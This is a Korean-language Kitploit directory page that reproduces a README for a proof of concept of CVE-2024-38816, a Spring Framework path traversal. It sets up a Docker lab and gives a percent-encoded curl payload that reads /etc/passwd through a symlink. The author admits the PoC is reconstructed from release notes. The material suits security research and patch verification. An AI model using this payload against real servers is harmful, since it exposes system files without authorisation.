Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-38816-PoC — CVE-2024-38816 Proof of Concept | Kitploit
도구/GitHubGitHub/wulinpin/cve-2024-38816-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 Proof of Concept

저장소 보기
971년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-38816 개념 증명 (PoC)

이 문서는 CVE-2024-38816 취약점에 대한 개념 증명(PoC)으로, 경로 탐색 공격을 시연합니다.

실행 단계

  1. Docker 이미지를 빌드합니다: (Spring Boot 3.0.13, Spring Framework 6.0.3 기반)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. 컨테이너를 실행하고 호스트 머신에 포트 8080을 노출합니다:

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. 다음 명령을 실행하여 PoC를 수행하고 취약점을 확인합니다:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    /etc/passwd 파일의 내용이 표시되면 취약점이 확인됩니다.

참고사항

이 PoC는 릴리스 노트와 커밋 로그 분석을 기반으로 작성되었습니다. 실제 취약점의 동작은 다를 수 있으므로 정확성을 보장하지 않습니다. 사용에 따른 책임은 본인에게 있습니다.

고려사항

  1. 취약점은 Spring Framework 6.1.13에서 패치되었으며, 릴리스 노트에서 확인할 수 있습니다.

  2. 릴리스 노트와 관련 커밋 로그를 검토한 결과, 이 취약점과 관련될 가능성이 있는 다음 두 가지 이슈를 확인했습니다:

    • Issue #33424: 심볼릭 링크와 관련된 새로운 옵션이 추가되었습니다.
      • 관련 커밋: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: % 인코딩 문자를 정리하는 코드가 수정되었습니다.
      • 관련 커밋: d86bf8b2056429edf5494456cffcb2b243331c49
  3. 보안 권고에 따르면 공격이 성공하려면 다음 조건이 충족되어야 할 가능성이 높습니다:

    • RouterFunctions가 사용됨
    • FileSystemResource가 사용됨
    • 심볼릭 링크가 존재함
    • % 인코딩된 문자가 공격에 사용됨

환경 설정

취약점 재현을 위해 Docker 환경을 사용합니다.

  1. PathTraversalDemoApplication.java를 생성하고 다음 코드를 사용하여 RouterFunction과 FileSystemResource를 이용한 정적 파일 라우팅을 설정합니다:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Dockerfile에 다음 명령을 추가하여 심볼릭 링크를 생성합니다:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. % 인코딩을 사용하여 심볼릭 링크를 통해 디렉터리를 탐색하는 페이로드를 생성합니다.

    • 경로: /static/link/%2e%2e/etc/passwd
  4. 다음 curl 명령을 사용하여 PoC를 실행하고 공격이 성공했는지 확인합니다:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.

면책 조항

이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 패치되었는지 확인하고 적절한 권한을 획득하십시오. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.

도구 다운로드